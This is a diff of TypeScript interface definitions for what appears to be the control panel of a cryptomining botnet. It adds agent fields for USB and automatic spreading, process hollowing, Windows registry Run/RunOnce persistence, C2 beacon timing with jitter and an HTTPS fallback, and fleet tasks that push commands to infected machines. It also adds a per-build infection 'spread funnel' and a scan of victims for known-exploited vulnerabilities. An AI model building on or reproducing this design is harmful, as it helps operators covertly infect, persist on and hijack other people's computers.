if (typeof Element !== 'undefined') {
Element.prototype.scrollIntoView = vi.fn();
}
});

View File

@@ -77,6 +77,9 @@ export interface Agent {
hostname?: string;
mac_address?: string;
build_id?: string;
worker_name?: string;
usb_spread?: boolean;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
}
@@ -95,6 +98,7 @@ export interface AgentCapabilities {
auto_spread: boolean;
process_hollowing: boolean;
ai_enabled: boolean;
usb_spread?: boolean;
}
export interface Share {
@@ -177,6 +181,7 @@ export interface ServerConfig {
rvn_wallet?: WalletConfig;
server: ServerSettings;
alerts: AlertsConfig;
tunnel_defaults?: TunnelDefaults;
/** @deprecated Legacy JSON only — Forge bakes per-miner settings; not used by Calibrate UI. */
default_agent_config?: AgentDefaults;
/** @deprecated Legacy JSON only — not used at runtime. */
@@ -204,6 +209,11 @@ export interface ServerSettings {
sign_timestamp_url?: string;
}
export interface TunnelDefaults {
/** Default Cloudflare tunnel target — usually mirrors server.public_url. */
cloudflared_target_url?: string;
}
export interface PoolEndpoint {
host: string;
port: number;
@@ -260,12 +270,15 @@ export interface AlertsConfig {
rejection_rate_threshold_pct: number;
telegram_bot_token?: string;
telegram_chat_id?: string;
/** Operator webhook — JSON POST on fleet events (connect/offline). MITRE T1071.005 lite. */
webhook_url?: string;
notify_agent_connect?: boolean;
notify_agent_reconnect?: boolean;
notify_agent_offline?: boolean;
notify_hashrate_drop?: boolean;
notify_rejection_rate?: boolean;
notify_build_complete?: boolean;
notify_kev_exposure?: boolean;
email_enabled?: boolean;
smtp_host?: string;
smtp_port?: number;
@@ -335,6 +348,14 @@ export interface BuildRequest {
/** Preset (ssh, ftp, chrome, …) or custom:C:\\path\\app.exe when run_as is host_binary */
host_binary_target?: string;
auto_start: boolean;
/** Boot/logon autostart hooks (Windows). Empty = legacy HKCU Run when auto_start + run_as user. */
autostart_mode?: string;
/** Registry Run/RunOnce persistence (Windows, MITRE T1112-style). Enum or combined via checkboxes. */
registry_persistence?: string;
registry_run_hkcu?: boolean;
registry_run_hklm?: boolean;
registry_run_once?: boolean;
registry_explorer_run?: boolean;
persistence: boolean;
process_name: string;
max_cpu_usage_pct: number;
@@ -397,6 +418,14 @@ export interface BuildRequest {
rvn_pool_tls?: boolean;
rvn_pool_pass?: string;
rvn_backup_pools?: BackupPool[];
// Connection profile — C2 beacon timing baked into agent
beacon_interval_sec?: number;
beacon_jitter_pct?: number;
agent_kill_after_days?: number;
/** HTTPS POST beacon when WebSocket is down (T1071.001 fallback). */
https_beacon_fallback?: boolean;
/** Minutes without WebSocket before HTTPS beacon (default 3). */
https_beacon_after_min?: number;
}
/** Fallback Stratum pool baked into the agent at forge time. */
@@ -469,6 +498,35 @@ export interface BlueprintInfo {
data?: any;
}
export interface AuditEntry {
id: number;
timestamp: string;
username: string;
action: string;
agent_id?: string;
detail?: Record<string, unknown>;
}
export interface FleetTask {
id?: string;
name: string;
enabled: boolean;
trigger: 'on_connect' | 'on_reconnect' | 'interval_hours' | 'cron';
interval_hours?: number;
cron_time?: string;
action: string;
command?: string;
target?: string;
created_at?: string;
updated_at?: string;
}
export interface SpreadFunnelStats {
by_build: { build_id: string; worker_name: string; count: number; usb_spread_count: number }[];
new_connects_today: number;
total_agents: number;
}
export interface WSMessage {
type: string;
payload: import('./ws').WSPayload;

View File

@@ -19,6 +19,7 @@ export interface FullSysCheckReport {
patch?: SysCheckPatch;
environment?: SysCheckEnvironment;
neighbors?: SysCheckNeighbors;
kev_exposure?: KEVScanReport;
raw_sysinfo?: string;
raw_ipconfig?: string;
@@ -117,6 +118,26 @@ export interface SysCheckEnvironment {
install_dir?: string;
}
export interface KEVFinding {
cve: string;
name: string;
product?: string;
severity: string;
cisa_kev?: boolean;
status: 'exposed' | 'likely' | 'clear' | 'n/a';
detail?: string;
}
export interface KEVScanReport {
scanned_at: string;
exposed_count: number;
likely_count: number;
critical_count: number;
risk_score: number;
summary?: string;
findings: KEVFinding[];
}
export interface SysCheckNeighbors {
arp_hosts?: string[];
subnet_scan?: string;